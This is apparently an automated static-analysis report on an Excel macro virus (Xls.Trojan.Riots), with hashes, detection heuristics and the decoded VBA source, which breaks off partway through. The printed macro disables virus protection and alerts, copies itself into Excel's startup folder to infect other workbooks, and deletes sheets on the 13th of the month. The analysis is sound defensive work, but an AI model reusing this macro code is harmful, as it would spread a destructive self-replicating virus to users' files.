Win.Trojan.Pivis-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 5340b80f34608843…

MALICIOUS

Office (OLE)

35.0 KB Created: 1998-05-02 14:54:59 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 82cae018235b1026f569ac88a865f4a7 SHA-1: 12d41c1f7c1839712cca0e4a58c024cbd70247c5 SHA-256: 5340b80f346088438d8fe8eafe20e1ebe38797b16dc7b726f4bbeafbc2986113
220 Risk Score

Malware Insights

Win.Trojan.Pivis-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is an Office OLE document containing VBA macros, with both Auto_Open and Auto_Close macros detected. ClamAV signatures identify it as Win.Trojan.Pivis-2 and Xls.Trojan.Riots-1. The presence of Auto_Open suggests the macro code executes automatically when the document is opened, a common technique for delivering secondary payloads. The macro code itself is heavily obfuscated and truncated, preventing a detailed analysis of its specific actions.

Heuristics 4

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4644 bytes
SHA-256: 0e86f8f8dc6ac0edf45e5cae043d427f13877d786ea0316892374967406c8821
Detection
ClamAV: Xls.Trojan.Riots-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Riots"
'if you smart you can read this enc text
'Qngr Obea: 30-Ncevy-1998
'gbqnl 1$ HF fgvyy Ec 8.000,-
'IvehfAnzr:  Evbgf
'Nhgube:  sbkm, bs AbZreplIvehfGrnz
'Terrgvat gb:
'            Pvpngevk, Nhebqercu, Wrex1a, Ze.Ivp, Bcvp,
'            Fcb0xl, FyntrUnzzre, zvxrr, AbZrepl Zrzoref naq Hygenf

Sub Auto_Open()
On Error Resume Next
With Options
    .ConfirmConversions = False
    .VirusProtection = False
    .SaveNormalPrompt = False
End With
Application.ScreenUpdating = False
Application.DisplayStatusBar = False
Application.DisplayAlerts = False
Options.VirusProtection = False
'-------------- thnx to SlageHammer for this code ----------
CommandBars("tools").Controls("Macro").Delete
CommandBars("tools").Controls("Customize...").Delete
CommandBars("view").Controls("Toolbars").Delete
CommandBars("view").Controls("Status Bar").Delete
CommandBars("window").Controls("Unhide...").Delete
'-----------------------end----------------
If cek_global() Then
    GoTo FuckSheet:
Else
    infectglobal
End If
FuckSheet:
Application.OnSheetActivate = "RIOTS.XLM!Fuck"
bye:
End Sub
Sub Auto_Close()
On Error GoTo bye3
Application.DisplayAlerts = False
Application.Workbooks("RIOTS.XLM").Save
Application.ActiveWorkbook.Save 'autosafe
If Day(Date) = "13" Then
    ActiveWindow.SelectedSheets.Delete
  Assistant.Visible = True
  With Assistant.NewBalloon
    .Icon = msoIconAlert
    .Text = "by: Sbkm/AbZreplIvehfGrnz" & Chr$(13) & "" & Chr$(13) & "  Encripted for safe me  :o)"
    .Heading = "XM97.Riots!"
    .Animation = msoAnimationEmptyTrash
    .Show
  End With
MsgBox "Jr jnag ersbezngvba!" & Chr$(13) & "" & Chr$(13) & "1. Ybj Gur cevpr" & Chr$(13) & "2. Oevat onpx zl Ehcvnu" & Chr$(13) & "3. Ab Zber Fbrunegb Pyna!" & Chr$(13) & "" & Chr$(13) & "" & Chr$(13) & "" & Chr$(13) & "                      Sbkm/AbZreplIvehfGrnz", vbOKOnly, ">>XM.Riots<< if U smart you can read it!"
Application.ActiveWorkbook.Save
    Else
End If
bye3:
End Sub
Function cek_global() As Boolean
On Error GoTo bye3
cek_global = False
For x = 1 To Application.Workbooks.Count
    If Application.Workbooks(x).Name = "RIOTS.XLM" Then
    For y = 1 To Application.Workbooks("RIOTS.XLM").Modules.Count
        If Application.Workbooks("RIOTS.XLM").Modules(y).Name = "Riots" Then
            cek_global = True
        End If
    Next y
    End If
Next x
bye3:
End Function
Function infectglobal()
  activebook = ActiveWorkbook.Name
  Workbooks(activebook).SaveCopyAs Application.StartupPath + "\RIOTS.XLM"
  Workbooks.Open (Application.StartupPath + "\RIOTS.XLM")
  Windows("RIOTS.XLM").Visible = False
 Application.Workbooks("RIOTS.XLM").Save
End Function
Function inFuckIt() As Boolean
activebook = ActiveWorkbook.Name
inFuckIt = False
For y = 1 To Application.Workbooks(activebook).Modules.Count
    If Application.Workbooks(activebook).Modules(y).Name = "Riots" Then
            inFuckIt = True
   End If
Next y
End Function
Sub Fuck()
    oactiveboo
... (truncated)